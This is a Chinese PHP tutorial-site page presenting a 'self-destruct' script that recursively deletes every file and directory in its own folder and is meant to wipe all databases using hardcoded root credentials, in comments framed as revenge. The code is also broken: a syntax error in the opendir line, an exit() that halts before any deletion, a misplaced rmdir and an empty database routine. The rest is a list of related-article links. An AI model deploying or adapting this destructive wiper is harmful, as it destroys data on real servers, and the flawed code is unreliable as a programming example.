PHP自毁程序(慎用)


Posted in PHP onJuly 09, 2015

本文实例讲述了PHP自毁程序。分享给大家供大家参考。具体实现方法如下:

<?php
// +----------------------------------------------------------------------
// | Kill!!
// | 程序将清除本目录所有文件、目录
// | 如果设置了数据库信息,则尝试删除所有数据库和表数据(前提是权限要够!)
// +----------------------------------------------------------------------
// | Version: $Id$
// +---------------------------------------------------------------------- 
//----------数据库配置区域-----------------
//复仇的力量是很可怕的,所以无需指定数据库,全删!
define('DB_USER', 'root');
define('DB_PWD', 'root');
define('DB_HOST', 'localhost');
define('DB_PORT', '3216');
define('DB_DAMAGE', true); //为false时,不碰数据库
run();
/**
 * 主体思想必须光辉伟大!
 *
 * @return void
 **/
function run()
{
 //删除文件
 deletedir();
 //删除数据库
 deleteDB();
}
/**
 * 呵呵呵,删除当前目录所有文件(递归)
 *
 * @return void
 **/
function deletedir($dir = ''){
 if ($dir == '') {
  $dir = realpath('.');
 }
 echo $dir;
 exit();
  if(!handle=@opendir($dir)){
  //检测要打开目录是否存在
  die("没有该目录");
  }
  while(false !==($file=readdir($handle))){
    if($file!=="."&&$file!==".."){
    //排除当前目录与父级目录
    $file=$dir .DIRECTORY_SEPARATOR. $file;
    if(is_dir($file)){
     deletedir($file);
    }else{
     if(@unlink($file)){
      echo "文件<b>$file</b>删除成功。<br>";
     }else{
      echo "文件<b>$file</b>删除失败!<br>";
     }
    }
    }
    if(@rmdir($dir)){
    echo "目录<b>$dir</b>删除成功了。<br>\n";
    }else{
    echo "目录<b>$dir</b>删除失败!<br>\n";
    }
   }
/**
 * 呵呵呵,删除数据库
 *
 * @return void
 **/
function deleteDB()
{
 if(DB_DAMAGE === true){
  //start
 }
}

希望本文所述对大家的php程序设计有所帮助。

PHP 相关文章推荐
PHP操作MongoDB时的整数问题及对策说明
May 02 PHP
打造超酷的PHP数据饼图效果实现代码
Nov 23 PHP
关于PHP模板Smarty的初级使用方法以及心得分享
Jun 21 PHP
php使用smtp发送支持附件的邮件示例
Apr 13 PHP
PHP队列用法实例
Nov 05 PHP
ThinkPHP实现ajax仿官网搜索功能实例
Dec 02 PHP
Windows下Apache + PHP SESSION丢失的解决过程全纪录
Apr 07 PHP
PHP实现获取某个月份周次信息的方法
Aug 11 PHP
WordPress后台中实现图片上传功能的实例讲解
Jan 11 PHP
laravel实现前后台路由分离的方法
Oct 13 PHP
PHP PDO和消息队列的个人理解与应用实例分析
Nov 25 PHP
PHP对接阿里云虚拟号的实现(号码隐私保护)
Apr 06 PHP
PHP模板解析类实例
Jul 09 #PHP
PHP多文件上传实例
Jul 09 #PHP
php判断linux下程序问题实例
Jul 09 #PHP
php实现html标签闭合检测与修复方法
Jul 09 #PHP
php可扩展的验证类实例(可对邮件、手机号、URL等验证)
Jul 09 #PHP
php类常量用法实例分析
Jul 09 #PHP
php求一个网段开始与结束IP地址的方法
Jul 09 #PHP
You might like
PHP 函数语法介绍一
2009/06/14 PHP
注意!PHP 7中不要做的10件事
2016/09/18 PHP
php简单实现单态设计模式的方法分析
2017/07/28 PHP
layui框架实现文件上传及TP3.2.3(thinkPHP)对上传文件进行后台处理操作示例
2018/05/12 PHP
Laravel框架路由设置与使用示例
2018/06/12 PHP
PHP抽象类和接口用法实例详解
2019/07/20 PHP
仅IE9/10同时支持script元素的onload和onreadystatechange事件分析
2011/04/27 Javascript
JavaScript中pop()方法的使用教程
2015/06/09 Javascript
函数四种调用模式以及其中的this指向
2017/01/16 Javascript
AngularJS执行流程详解
2017/02/17 Javascript
关于HTTP传输中gzip压缩的秘密探索分析
2018/01/12 Javascript
微信小程序js文件改变参数并在视图上及时更新【推荐】
2018/06/11 Javascript
nuxt配置通过指定IP和端口访问的实现
2020/01/08 Javascript
Python中处理字符串的相关的len()方法的使用简介
2015/05/19 Python
Python中的is和==比较两个对象的两种方法
2017/09/06 Python
PYQT5设置textEdit自动滚屏的方法
2019/06/14 Python
简单了解python中的与或非运算
2019/09/18 Python
Python 实现打印单词的菱形字符图案
2020/04/12 Python
Tensorflow tf.tile()的用法实例分析
2020/05/22 Python
美国成衣女装品牌:CHICO’S
2016/09/19 全球购物
骆驼官方商城:CAMEL
2016/11/22 全球购物
联想美国官方商城:Lenovo美国
2017/06/19 全球购物
Farnell德国:电子元器件供应商
2018/07/10 全球购物
Linux如何命名文件--使用文件名时应注意
2014/05/29 面试题
八年级英语教学反思
2014/01/09 职场文书
毕业自我鉴定总结
2014/03/24 职场文书
中学优秀班主任事迹材料
2014/05/01 职场文书
警察群众路线对照检查材料思想汇报
2014/10/01 职场文书
财政局党的群众路线教育实践活动剖析材料
2014/10/13 职场文书
二年级上册数学教学计划
2015/01/20 职场文书
2016领导干部廉洁从政心得体会
2016/01/19 职场文书
2016年社区中秋节活动总结
2016/04/05 职场文书
浅谈@Value和@Bean的执行顺序问题
2021/06/16 Java/Android
Flask response响应的具体使用
2021/07/15 Python
Java 实战项目之家居购物商城系统详解流程
2021/11/11 Java/Android
Spring Data JPA框架自定义Repository接口
2022/04/28 Java/Android